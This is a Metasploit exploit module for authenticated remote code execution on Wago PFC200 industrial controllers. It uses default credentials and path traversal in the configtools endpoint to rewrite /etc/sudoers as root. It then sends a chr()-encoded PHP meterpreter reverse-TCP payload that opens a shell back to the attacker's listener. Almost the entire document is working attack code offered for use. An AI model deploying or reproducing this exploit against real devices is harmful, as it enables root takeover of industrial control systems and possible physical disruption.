# Date: 2020-02-05
# Exploit Author: Nico Jansen (0x483d)
# Vendor Homepage: https://www.wago.com/
# Version: <= Firmare 11 (02_08_35)
# Tested on: Linux
# CVE : N/A
##
# This module requires Metasploit:
https://metasploit.com/download
# Current source:
https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Exploit::Remote
#Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wago PFC200 authenticated remote code execution',
'Description' => %q{
The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to
an authenticated remote code execution in the
administrative web interface. By exploiting the vulnerability, an
attacker is able to run system commands in root context.
To execute this module, login credenials of the website
administrator are required (default: admin/wago).
This module was tested against a Wago 750-8202 Firmware 11
(02_08_35) but other PFC200 models may be affected as well.
},
'Author' =>
[
'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'References' =>
[
['CVE', '-'],
['US-CERT-VU', '-'],
['URL', '-'],
['URL', '-']
],
'DisclosureDate' => 'Aug 1 2018',
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as
admin', 'wago']),
])
deregister_options('VHOST')
end
# This function checks the index page to check if it may be a
valid device.
# There are some more checks done after an successful
authentication
def check
@csrf=""
res = send_request_cgi(
'method' => 'GET',
'uri' => '/wbm/index.php'
)
if res && res.code == 200 && res.body.to_s =~ /WAGO
Ethernet Web-based Management/
result = sendConfigToolMessage("get_typelabel_value",
["SYSDESC"])
if result and result =~ /PFC200/
# Get Version and check if it's <= 11
result = sendConfigToolMessage("get_coupler_details",
["firmware-revision"])
result = result.split('(')[1]
result = result.split(')')[0]
if Integer(result) <= 11
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
# This function authenticates the adminuser against the Wago
PLC
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => '/wbm/login.php',
'data' => '{"username":"admin","password":"' +
datastore['ADMINPASSWORD'] + '"}'
)
if res.code != 200
return false
end
parsed_json = JSON.parse(res.body.to_s)
if parsed_json["status"] == 0
@cookie = res.get_cookies
@csrf = parsed_json["csrfToken"]
return true
else
return false
end
end
# This function can be used to execute arbitary commands after
login
def sendConfigToolMessage(scriptname, parameters,
expectResponse=true)
parameterString = ''
for param in parameters
parameterString = parameterString + '"' + param + '", '
end
parameterString = parameterString[0...-2]
request ='{"csrfToken":"' + @csrf + '",'\
'"renewSession":true,"aDeviceParams":{"0"'\
':{"name":"' + scriptname + '","parameter":['\
+ parameterString + '],"sudo":true,"multiline":false,'\
'"timeout":12000,"dataId":0}}}'
res = send_request_cgi(
'method' => 'POST',
'uri' => '/wbm/configtools.php',
'data' => request,
'cookie' => @cookie,
)
# After exploitation, there is no response, so just return true
because the message was sent
if expectResponse == false
return true
end
parsed_json = JSON.parse(res.body.to_s)
@csrf = parsed_json["csrfToken"]
if parsed_json["aDeviceResponse"][0]["status"] == 0
return parsed_json["aDeviceResponse"][0]["resultString"]
else
return false
end
end
# This function is used to enable php execution in sudoers file
using sed
def change_sudo_permissions()
return sendConfigToolMessage('/../../../usr/bin/sed',["-i",
"s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"])
end
# Encode a given string to bypass validation
def encode(content)
result = ""
content.split("").each do |i|
result = result + "chr(" + (i.ord).to_s + ")."
end
result = result[0...-1]
return result
end
# This function generates the required payload used to connect
to the msf listener
def send_payload()
meterpreter_reverse_php='exec("/usr/bin/sed -i
\'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' +
datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + ';
'\
'if (($f = "stream_socket_client") && is_callable($f)) { $s =
$f("tcp://{$ip}:{$port}"); '\
'$s_type = "stream"; } if (!$s && ($f = "fsockopen") &&
is_callable($f)) { $s = $f($ip, $port);'\
' $s_type = "stream"; } if (!$s && ($f = "socket_create")
&& is_callable($f)) '\
'{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res =
@socket_connect($s, $ip, $port); if (!$res) '\
'{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket
funcs"); } '\
'if (!$s) { die("no socket"); } switch ($s_type) { case "stream":
$len = fread($s, 4); break; '\
'case "socket": $len = socket_read($s, 4); break; } if (!$len) {
die(); } $a = unpack("Nlen", $len);'\
' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch
($s_type) { case "stream": $b .= '\
'fread($s, $len-strlen($b)); break; case "socket": $b .=
socket_read($s, $len-strlen($b)); break; } } '\
'$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if
(extension_loaded("suhosin") '\
'&& ini_get("suhosin.executor.disable_eval")) {
$suhosin_bypass=create_function("", $b); $suhosin_bypass(); }
'\
'else { eval($b); } die(); ?>'
command = "eval(" + encode(meterpreter_reverse_php) + ");"
return sendConfigToolMessage("/../../../usr/bin/php5", ["-r",
command], false)
end
def exploit
if check == Exploit::CheckCode::Vulnerable # Check if the system
may be a PFC200
print_good("Target seems to be a vulnerable PFC200 device")
if login # Try to authenticate using the given credentials
print_good("Successfully logged in as website admin")
if change_sudo_permissions()
print_good("Manipulated the /etc/sudoers file to enable php
execution as root")
print_good("Preparing meterpreter payload and undoing changes to
/etc/sudoers...")
send_payload()
else
print_error("Unable to modify the /etc/sudoers file...")
end
else
print_error("Unable to login as admin with the given
credentials...")
end
else
print_error("Target is not a valid PFC200 device. Will exit
now...")
end
end
end
